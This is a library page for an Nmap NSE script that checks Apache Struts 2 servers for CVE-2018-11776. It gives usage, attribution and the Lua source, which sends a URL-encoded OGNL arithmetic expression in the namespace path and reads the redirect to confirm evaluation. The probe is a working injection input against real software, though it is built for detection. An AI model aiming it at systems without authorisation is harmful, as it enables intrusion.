NSE LIB

Back to library
Unofficial intrusive Vuln

1462-http-vuln-cve2018-11776

Detects whether the specified URL is vulnerable to the Apache Strut2 Namespace Redirect OGNL Injection Remote Code Execution Vulnerability (CVE-2018-11776).

Ports

Any

Protocols

n/a

Attribution

r00tpgp (upstream: chinarulezzz/nmap-extra-nse)

Usage

Copy the command and adjust the target or script arguments as needed. 

nmap -p <port> --script http-vuln-cve2018-11776 <target>
Script Source Toggle

The full script source is stored with this entry and is hidden by default to keep the page easier to scan. 

description = [[
Detects whether the specified URL is vulnerable to the Apache Strut2 Namespace Redirect OGNL Injection
Remote Code Execution Vulnerability (CVE-2018-11776).
]]

local http = require "http"
local shortport = require "shortport"
local vulns = require "vulns"
local stdnse = require "stdnse"
local string = require "string"

---
-- @usage
-- nmap -p <port> --script http-vuln-cve2018-11776 <target>
--
-- @output
-- PORT    STATE SERVICE
-- 80/tcp  open  http
-- | http-vuln-cve2018-11776:
-- |   VULNERABLE
-- |   
-- |     State: VULNERABLE
-- |     IDs:  CVE:CVE-2018-11776
-- |
-- |     Disclosure date: 2018-08-22
-- |     References:
-- |     https://cwiki.apache.org/confluence/display/WW/S2-057  
-- |     https://lgtm.com/blog/apache_struts_CVE-2018-11776  
-- |_    https://github.com/hook-s3c/CVE-2018-11776-Python-PoC  
--
-- @args http-vuln-cve2018-11776.method The HTTP method for the request. The default method is "POST".
-- @args http-vuln-cve2018-11776.path The URL path to request. The default path is "/".

author = "r00tpgp"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = { "vuln" }

portrule = shortport.http

action = function(host, port)
  local vuln = {
    title = "Apache Struts 2 Namespace Redirect OGNL Injection",
    state = vulns.STATE.NOT_VULN,
    description = [[
Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16 suffer from possible Remote Code Execution when alwaysSelectFullNamespace is true 
(either by user or a plugin like Convention Plugin) and then: results are used with no namespace and in same time, its upper package have no or wildcard 
namespace and similar to results, same possibility when using url tag which doesn't have value and action set and in same time, its upper package have no 
or wildcard namespace. 
    ]],
    IDS = {
        CVE = "CVE-2018-11776"
    },
    references = {
        'https://lgtm.com/blog/apache_struts_CVE-2018-11776',
	'https://cwiki.apache.org/confluence/display/WW/S2-057',
        'https://github.com/hook-s3c/CVE-2018-11776-Python-PoC'
    },
    dates = {
        disclosure = { year = '2018', month = '08', day = '22' }
    }
  }

 -- Ask the server a simple math question, if it answer correctly, you have a vuln server :-)

 local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
 local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or "/"
 a = math.random(1000)
 b = math.random(1000)
 c = a + b
 local response = http.generic_request(host, port, "GET", "/%24%7B" .. a .. "%2B" .. b .. "%7D" .. "/help.action") 

 if response.status == 302 and response.header.location == "/" .. c .. "/date.action" then
	 vuln.state = vulns.STATE.VULN
 end

 return vuln_report:make_output(vuln)
end

Overview

Imported from the upstream repository chinarulezzz/nmap-extra-nse. Detects whether the specified URL is vulnerable to the Apache Strut2 Namespace Redirect OGNL Injection Remote Code Execution Vulnerability (CVE-2018-11776).